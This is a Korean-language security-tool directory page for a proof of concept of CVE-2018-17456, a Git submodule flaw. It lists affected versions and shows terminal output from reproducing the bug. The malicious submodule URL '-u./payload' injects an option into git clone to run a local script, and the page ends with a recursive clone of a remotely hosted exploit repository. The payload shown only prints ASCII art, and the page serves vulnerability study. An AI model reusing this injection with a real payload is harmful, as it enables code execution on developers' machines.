Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-17456 — CVE-2018-17456 취약점 재현(PoC+Exp) | Kitploit
도구/GitHubGitHub/anonymking/cve-2018-17456
Vulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityLearning & EducationBinary Exploitation
GitHubanonymking/cve-2018-17456

CVE-2018-17456

CVE-2018-17456 취약점 재현(PoC+Exp)

저장소 보기
57년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-17456

취약점 개요

  • 취약점 이름: Git 입력 검증 오류 취약점
  • CNNVD 번호: CNNVD-201810-234
  • 위험 등급: 초고위험
  • CVE 번호: CVE-2018-17456
  • 취약점 유형: 입력 검증 오류
  • 발표일: 2018-10-08
  • 위협 유형: 원격
  • 업데이트일: 2019-04-25
  • 제조사: debian
  • 취약점 출처: Atlassian,TerryZh...
  • 취약점 개요: Git은 무료 오픈 소스 분산 버전 관리 시스템입니다. Git에서 입력 검증 오류 취약점이 발견되었습니다. 이 취약점은 네트워크 시스템 또는 제품이 입력 데이터를 올바르게 검증하지 않아 발생합니다. 다음 버전이 영향을 받습니다: Git 2.14.5 이전 버전, 2.15.3 이전의 2.15.x 버전, 2.16.5 이전의 2.16.x 버전, 2.17.2 이전의 2.17.x 버전, 2.18.1 이전의 2.18.x 버전, 2.19.1 이전의 2.19.x 버전.

취약점 재현

  • Github 보안 메커니즘 문제로 악성 프로젝트를 업로드할 수 없으므로, 스크립트 build.sh를 실행하여 로컬에서 이 프로젝트를 구성하여 학습 및 테스트할 수 있습니다.
  • 제가 사용한 Git 버전은 git-2.12.1입니다.
  • 과정과 결과는 다음과 같습니다.
root@kitploit:~
[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/Submodule/.git/
[master (root-commit) 5b1e97c] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/exploit:exploit'...
done.
[master (root-commit) ed1914d] CVE-2018-17456
 3 files changed, 6 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 exploit:exploit
 create mode 100755 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" des_dir



[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" test
Cloning into 'test'...
done.
Submodule 'exploit:exploit' (-u./payload) registered for path 'exploit:exploit'
Cloning into 'exploit'...


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./payload' into submodule path '/home/anonymking/Desktop/test/test/exploit:exploit' failed
Failed to clone 'exploit:exploit' a second time, aborting
  • 제가 payload에 구성한 악성 코드는 부처를 출력하는 것이므로, 부처를 보는 것이 테스트 성공을 의미합니다. 실제로는 두 번 출력되는데, 하위 프로젝트 복제 실패 시 재시도가 한 번 있기 때문입니다.

참고 자료

  • 프로젝트 poc-submodule

###意外 발견

  • Coding에서 이 프로젝트를 성공적으로 구축했습니다 — CVE-2018-17456
  • 사용 방법:
root@kitploit:~
git clone --recursive https://dev.tencent.com/u/anonymking/p/CVE-2018-17456/git test
  • 추가로, 함께 학습할 수 있는 유사 취약점 두 개를 추천합니다: CVE-2017-1000117、CVE-2018-11235
도구 다운로드